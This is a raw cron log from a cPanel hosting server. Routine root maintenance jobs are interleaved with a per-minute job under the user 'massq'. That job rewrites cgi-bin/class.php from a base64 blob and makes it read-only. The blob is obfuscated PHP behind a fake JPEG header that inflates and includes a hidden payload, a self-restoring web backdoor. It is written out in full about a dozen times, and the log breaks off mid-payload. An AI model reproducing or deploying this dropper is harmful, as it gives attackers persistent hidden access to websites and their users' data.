Sep  6 20:34:01 server CROND[3920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:35:01 server CROND[4364]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:35:01 server CROND[4366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:35:01 server CROND[4367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:35:01 server CROND[4372]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:35:01 server CROND[4368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:35:01 server CROND[4373]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 20:35:01 server CROND[4371]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:35:01 server CROND[4369]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 20:35:01 server CROND[4370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:36:01 server CROND[5217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:36:01 server CROND[5218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:36:01 server CROND[5219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:37:01 server CROND[5589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:37:01 server CROND[5588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:37:01 server CROND[5590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:38:01 server CROND[5958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:38:01 server CROND[5959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:38:01 server CROND[5960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:39:01 server CROND[6373]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 20:39:01 server CROND[6374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:39:01 server CROND[6375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:39:01 server CROND[6376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:40:01 server CROND[6821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:40:01 server CROND[6825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:40:01 server CROND[6826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:40:01 server CROND[6827]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:40:01 server CROND[6829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:40:01 server CROND[6830]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:40:01 server CROND[6828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:40:01 server CROND[6831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:41:01 server CROND[7708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:41:01 server CROND[7710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:41:01 server CROND[7709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:42:01 server CROND[8078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:42:01 server CROND[8084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 20:42:01 server CROND[8085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:42:01 server CROND[8086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:43:01 server CROND[8526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:43:01 server CROND[8527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:43:01 server CROND[8528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:44:01 server CROND[8897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:44:01 server CROND[8898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:44:01 server CROND[8899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:45:01 server CROND[9377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:45:01 server CROND[9386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:45:01 server CROND[9396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:45:01 server CROND[9393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:45:01 server CROND[9395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:45:01 server CROND[9394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:45:01 server CROND[9399]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:46:01 server CROND[10207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:46:01 server CROND[10208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNT